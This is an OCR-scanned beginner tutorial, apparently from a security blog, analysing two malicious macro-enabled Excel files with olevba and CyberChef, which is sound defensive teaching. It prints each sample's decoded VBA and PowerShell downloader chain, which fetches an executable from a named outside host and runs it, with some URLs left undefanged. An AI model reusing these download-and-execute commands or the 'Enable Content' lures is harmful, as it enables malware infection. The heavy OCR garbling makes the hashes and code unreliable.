Analyzing Macro enabled Office Documents

@ blog.cyber5w.com/analyzing-macro-enabled-office-documents

Experience Level required: beginner

Objectives

In this blog we will Learn how to analyze MS Office Macro enabled Documents.

1st sample:
8d15fadf25887c2c974e521914bb7cha762a8f03b1c97a2bc8198e9fb94d45a5

2nd sample:
a9f8b7b65€972545591683213bh198¢c1767424423ecc8269833f6e784aa8bc99

1st Sample

Let’s see the sample in Virus Total

-
E g 46521914bb7ch 762381035165 Q 48 (9¢ seon XD
37 (D) 37 security vendors and 2 sandboxes flagged this file as malicious O Reanalyze = Similar ~  More -
/63 80l15fadf25887c2c9742521914bb) b1 size Last Analysis Date =
€ 2097465219140b) 201 xism 7325K8 8 monthsago XLSX
Kisx  attachment
Community Score
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY &
Join the VT Community and enjoy additional community insights and detections, plus an APl key to automate checks.
Security vendors' analysis (O Do you want to automate checks?
Alibaba (D TrojanDropper.Officed7/Powdow.fcOecd. . Antiy-AVL (D Trojan(Downloaderl/MSOffice.Agent
Arcabit (D) Trojan Generic.02D7788E Avast (D) ves:Dropper-VA [Drp]
AVG (D) vBs:Dropper-VA [Drp] Avira (no cloud) (D) HEURMacro Downloader ARAVD.Gen
BitDefender (D) Trojan.GenerickD.47676350 Cynet (D) Mmalicious (score: 99)
Cyren (1) PP97MIDropperV.gen!Eidorado Driteb (D) x97MDownloader792
Emsisoft (D) Trojan.GenerickD.47676350 (8) eScan (D) Trojan GenerickD.47676350
ESET-NOD32 (D) VvBATrjanDropper.Agent CHH Fortinet (D) vBAAgent MVFir
GData (D Trojan GenerickD.47676350 Google (D Detected @

37 of 63 security vendors detected this file as malicious.

Let’s open the file.
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Clipboard £l s Alignment E] Number ] Editing Add-ins
| SECURITY WARNING| Macros have been disabled. | Enable Content

0 GET GENUINE OFFICE Your license isn't genuine, and you may be a victim of software counterfeiting. Avoid interruption and keep your files safe with genuine Office today. | Get genuine Office Learn more

e To view this content, please click ("Enable Content”) from the yellow bar above

A

Document created in earlier version of

. Microsoft Office Excel
E To view this content, please click ("Enable Content") from the yellow bar above

It uses a social engineering technique to persuade the user to enable the macros that lead
to the infection of the user.

Let’s see the macro code of the sample, I'll use olevba

olevba "C:\Users\M4lcode\Desktop\x1lm
sample\8d15fadf25887c2c974e521914bb7cba762a8f03b1c97a2bc8198e9fh94d45a5.x1sm"

b wWorkbook_Activate()

It has many suspicious functions, It also has base64 strings
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AutoExec |Workbook Activat Runs when the Excel Workbook is opened

Open May open a file

Output May write to a file (if combined with Open)

Print # May write to a file (if combined with Open)

Shell May run an executable file or a system

imand

StrReverse May attempt to obfu
{use option --deobf to deobfuscate)
Hex-encoded strings were detected, may be
used to obfuscate strings (option --decode to
see all)

Basebtd Strings Basebd-encoded strings were detected, may be
used to obfuscate strings (option --decode to
see all)

ozkkemgyslgmpvw |Executable file name

uri.bat

VBA Stomping VBA Stomping was detected: the VBA source
code and P-code are different, this may have
been used to hide malicious code

Let’'s dump the macro code to a file to see it better
olevba -c "C:\Users\M4lcode\Desktop\x1lm

sample\8d15fadf25887c2c974e521914bb7cba762a8f03b1c97a2bc8198e9fh94d45a5.x1sm" >
dump.vba

Let’s view the dumped file with notepad ++ (you can view it with any text editor software)

Prefix3() As Sctring

Sub Workbook Activate ()

This function concatenates two strings, then reverses the result string and assigns it to
Prefix3.
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|l dump.vba C!I

1 Private Function Prefix3() As String

2 Dim x As String

3 Dim s As String

4 s = " cne—- 1 niw L™

5 s = s + "v\llehS ¥S i N
3 x®x = StrReverse(s)

T Prefix3 = x

8 End Function

I'll use this python script to reverse the string

def reverse_string(input_string):
return input_string[::-1]

input_string = "cne- 1 niw-
exe.llehsrewop\\0.1v\\1llehSrewoPswodniW\\23metsyS\\swodniw\:C"
reversed_string = reverse_string(input_string)

print("Original string:", input_string)

print("Reversed string:", reversed_string)

C:\Users\Mostafa\Desktop>Untitled-1.py
Original string: cne- 1 niw- exe.llehsrewop\@.1v\1llehSrewoPswodniW\23metsyS\swodniW\:C
Reversed string: C:\Windows\System32\WindowsPowerShell\vl.@\powershell.exe -win 1 -enc

C:\Users\MostaFa\Desktop)l

Prefix3 =

C:\Windows\System32\WindowsPowerShell\v1l.0\powershell.exe -win 1 -enc
Let’s go to the next function

The function concatenates 8 base64 encoded strings and assigns it to Prefix2.

14

15 Private Function Prefix2() As String
i Dim text As String
18 text = text + '

ILE) text = text + '

20 text = text + '

21 text = text +

22 text = text +

23 text = text +

24 text = text + '

25 text = text + '

28 Prefix2 = text

28 End Function

3

I'll use cyberchef to decode the strings
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Operations
rem

Render Markdown
Remove EXIF

Remove Diacritics
Remove null bytes
Remove whitespace
Remove line numbers
RIPEMD

Render Image

Resize Image

Extract email addresses
Scan for Embedded Files
Rotate Image
Generate Lorem Ipsum
From Decimal

From Hexdump

CRC-8 Checksum
CRC-16 Checksum
CRC-32 Checksum
From UNIX Timestamp

Parse DateTime

Prefix2 =

Recipe

From Base64

Alphabet

A-Za-20-9+/=

O strict mode

Remove null bytes

cTEn

oma
O n

Remove non-alphabet chars

$ProcName = "Ktaqftbffhghoxzyblssi.exe";
(New-Object
System.Net.wWebClient).DownloadFile("hxxps[://]www[.]gggqformulal.]Jco[.]za/works/RICH[
.]pif", "$env:APPDATA\$ProcName");

Start-Process ("$env:APPDATA\$ProcName")

Let’s go to the next function

30
31
32
ER
34
35
36
37
38
39
40

- -

Input +0O=m =
JABQAHIAbWB JAE4AYQB tAGUATAASACAAIEZBLY YAdABIAGYAZg igAegl TIAb, 1ACTAOWA
OAE4A7Z(B3ACBATWBiAGOAZQB JAHOATABTAHKA CWBBAGUADQAUAELAZOBBACAAVWBIAGT. B: kAZQBUAHQAK Q) b b

EAZABGAGKADAB1ACgAT gBOAHQAJABAHMADZAVAC BAJUB 3AHCAL gBXAHEACQBMAGBACEBtAHUADABhACAAYWBYACAAegBhACBAdWBVAHT Aa
WBZACBAUGBIAEMAS AAUAHAAZQBMAC TAL AALACQAZQBUA"HYACEBBAFAAUABEAEE AVABBAFWAT ABQAHIAbWE ] AEAAYQBL AGUAT gADADSAUWB

@AGEACZBOACBAUABYAGBAYIB IAHMACAZACEAT g/ g8 2ADOAQY! QAQQBCACY AV IBOAGE ABQBLAC TAKQA="
s =1 Tr o artes 6 1
Output an0m:

[sProchame - "Ktagftbffhghoxzyblssi.exe™; (New-Object
System.Net.hebClient) .DownloadFile("https: //wai.qqqformula. co. za/uorks/RICH. pif ", "$env: APPDATANSProcName ™) ;
Start-Process ("$env:APPDATA\SProchame™)

Private Function Prefixl () As String
As String

Dim
% =
v =
v =

pd

hd
X
X

+
4=
+

Prefixl

End Function

It concatenates strings

Prefix1 =

start /MIN

Let’'s go to the last function

"St"
"art

"_fM" + "I" + "N "

X

5/11



45 Private Sub Prefix0()

46 On Error Resume Next

477 ActiveWorkbook.Save

8 Dim bat As String

49 bat = "Bixkcozkkemgyslgmpvwuri.bat"

[=a

Dim d As Double

(=

5l Dim text As String

52 text = Prefixl () + Prefix3() + Prefix2()
53! Open bat For Output As #1

54 Print #1, text

55 Close #1

56 d = Shell (bat, 0)

57 End Sub

58

It concatenates Prefix1, Prefix3 and Prefix2 and print the result in a .bat file named
“Bixkcozkkemqyslgmpvwuri.bat” then it runs the file

The resulted .bat file will be:

start /MIN C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - win 1 - enc
$ProcName = "Ktaqftbffhghoxzyblssi.exe";

(New - Object
System.Net.WebClient).DownloadFile("hxxps[://]Jwww[.]qqqformulal[.]co[.]za/works/RICH[
.]pif", "$env:APPDATA\$ProcName");

Start - Process ("$env:APPDATA\$ProcName")

This script runs powershell script to download file from
“hxxpsl://]'www[.]gggformula[.]co[.]za/works/RICH[.]pif” to the current user’s AppData
directory with name “Ktaqgftbffhghoxzyblssi.exe” and executes it.

2nd Sample

32 of 60 security vendors detected this file as malicious.
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1>

© ¢ son XD

Z b51c07d9a4e50ac499514d378320260821bd7486acd1077abbddf8ab70csazb3 o\

32 (D 32 security vendors and 5 sandboxes flagged this file as malicious ( Reanalyze == Similar ~  More ~
160 b51c07d9a4e50ac499514d378320260821bd7486acd 1077a6bdd8ab70c6azbd Size Last Analysis Date ==
ee6d2f06ce4476370cb830ach3890dca xls.bin 4250 KB 8 months ago XLS

xis  maware cals-wmi  executes-dropped-fie

Community Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY s

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an APl key to automate checks.

Security vendors' analysis (O Do you want to automate checks?
AhnLab-v3 (D) Dropper/MsOfiice.Generic AlYac (D) Trojan Downloader.XLS.gen

Antiy-AvL () Trojan(Downicaderl/MSOffice. Agent Arcabit (D VvBiTrojanvalyria.D12E3

Avast (D) Other:Malware-gen [Trj] AVG (D) Other:Malware-gen [Trj]

BitDefender (D) vBTrojanValyria. 4835 Cyren (@) X97M/DownidrFN.genlEldorado

Emsisoft (D) veTrojanyvalyria 4835 (B) eScan (D) vETrojanValyria.483s

ESET-NOD32 (D) vBATrojanDownloader.Agent WGL Fertinet (D) vBAAgent 2EA1sttr.didr

GData (@) vaTrojanvalyria 4835 Google (D) Detected

Ikarus (1) Trojan-DownloaderVBA Agent Kaspersky () HEUR:Trojan-DownloaderMSOffice SLoa..

Let’s open the sample

B = Calibri A A | — v General = PSS Y

Ba Copy ~ ol =
Paste B I U- v| B~ A~ ergeBiCenter ~ | $ - % * | B Conditional Formatas Cell | Insert Delete Format Sort & Find &
+ ¥ Format Painter Formatting ~ Table » Styles - - - Filter » Select

Clipboard 5 Alignment. 5 Number [ Styles Cells Editing Add-ins

1 SECURITY WARNING Macros have been disabled. | Enable Content

@ GET GENUINEOFFICE Your icense isnt genuine, and you may be 2 victim of software genuine Get genuine Office Leamn mare

This document is protected

Please click“Enable Content” to view protected document.

ccessibility: Unavailable

It also employs a social engineering technique to convince the user to enable macros,
which then leads to the user being infected.

Let's see its macro code

olevba C:\Users\M4lcode\Desktop\ee6d2f06ced4476370ch830ach3890dca.xls
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Rvalue = Ra

RValue

End Sub

kbook

a -encoded s
used to obfus
ee all)

It uses wscript language and base64 encoding
Let's dump it to file

olevba -c C:\Users\M4lcode\Desktop\ee6d2f06ce4476370ch830ach3890dca.x1ls > dump.vba

[=] dump.vba J\
1 | PPublic sub rwyYtUHOC()

Error Resume Next

3 Dim yllrrov As String

4 yllrrov = "N

Dim LValue As Double

Lvalue = NPer(0.0525 / 1, -200, 1500)

FfxoXYwEo = ActiveWorkbook.BuiltinDocumentProperties(
aMMhrPjTA = ActiveWorkbook.BuiltinDocumentProperties (

Dim RValue As Double

RValue = Rate(10 * 1, -1000, 6500)

L wzpIuzvo } i &

Dim zKShMevSa As Object
Sset zKShMevSa = CreateObject( s 1"y
zKShMevSa.Run FfxoXYwEo + aMMhrPjTA + WzpIUxvU, RValue

<

Visual Basic file lenath: 1,531 lines: 50 Ln:1 Col:1 Pos:1 Unix (LF) UTF-8 INS

Let’s try to decode this strings
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Download CyberChef ¥

Operations Recipe

remove From Base64

Remove EXIF Alohabet
A-Za-70-9+/=

Remove Diacitics
Remove null bytes [ strict mode
Remove whitespace
Remove null bytes
Remove line numbers
Strip HTML tags
Strip HTTP headers
Unique
Favourites *
Data format
Encryption / Encoding
Public Key
Arithmetic / Logic
Networking

Language

$fdsfsdf = "fsfdghfddfgh";
(NEw-objEct

Last build: 2 days ago - Version 10 is here! Read about the new features here Options Q About / Support 0
BBl E  npu +oO3w=
TAAKAGYAZABZAGYACWBKAGYATAASACAATEZBMAHMAZgBKAGC AaABMAGOAZABMAGE AaAATADSATAADAE4ARQB3ACBADWBT AGOARQBJAHOAT AL
CIGAAT "gBgAGUAYABUAGAAL gBgAF cAYABLAGAAQZBEAEMAY) AaQBgAGUAYABOAGAA dICKAL gl by QAZgBIA

dABuADOAL

- Remove non-alphabet chars

GWARQAOACAA AR dQBSAGEAC b ZQBnAGUAD dQByAHMABQBUAGCAL gBJAGBADQAVAGIA

YQBUAG CAQBNAG CAZOAVAEQADWB UADEANEAZACBAQUBY AHKACABOAGUAZABGAGKADABLADEANGAZ ACAAZQBAAGUAHS AGACHAT AL ICQAR QB
OAHYAOgBRAGUADQBHAF WAIgBMAGMAYZE 2AGUACAB BACAAZQBAAGUAHSAZACKATAAT ACAACWBOAEEAUGBRACARHS AKAEUATGE2 ADOAJABLAG
BACABCAGOAZ gBIAGIAdZB1AHAAdAALAGUAEAB 1 ABBZOWAKAGYAZABZAGYACWBKAGY AT AAOACAATZBMAHNAZ g BKAGC A3ABNAGQAZABMAGC Aa
ARiADS

w =1 Tr o mrtes 6 i
Output an0m:
$fdsfsdf = "fsfdghfddfgh™; (NEw-objECt rs "N @ T ."W e B C 1 i'e N Tes ).DownLoAdFIIE( s

http://suyashcollegeofnursing. con/language/Donl63/CryptedFilelsd.exac: , o= SENV:temp\jfcbvept.exec: ) ;

START cs SENV:temp\jfcbept.execs $fdsfsdf = "fsfdghfddfgh™;|

N'e’T . W e B C'1'i°e N'T).DownLoAdfIlE( ' "hxxp[://]suyashcollegeofnursing[.]com/lan

guage/Donl163/CryptedFilel63[.]exe’,

Start "$ENv:temp\jfcbvept.exe";

\$fdsfsdf = "fsfdghfddfgh";

"$ENv:temp\jfcbvept.exe");

This powershell script is downloading a file from “hxxp[://]suyashcollegeofnursing[.]Jcom” to
temp directory with name “jfcbvept.exe” then it starts it

CreateObject(“Wscript.Shell”) return is assigned to zKShMevSa

Set zEShMevsSa =

DWW 0o =] Oy N s LD MO

———— e —— ——— e ———

Dim zKShMevSa As Object
CreateObject ("Wscript.Shell™)
ZKShMevSa.Run FfxoXYwEO + aMMhrP]TA + WzpIUxvU, RValue

So zKShMevSa acts like Wscript.Shell and zKShMevSa.Run = Wscript.Shell.Run.

I's clear now Wscript.Shell.Run executes the powershell script that downloads the
malware from “hxxp[://]suyashcollegeofnursing[.Jcom” to temp directory with name

“ifcbvept.exe” then it executes it.

This blog is authored by Mostafa Farghaly(M4lcode).
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Previous Post

Gafgyt Backdoor Analysis
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Next Post

Hard disk structure and analysis
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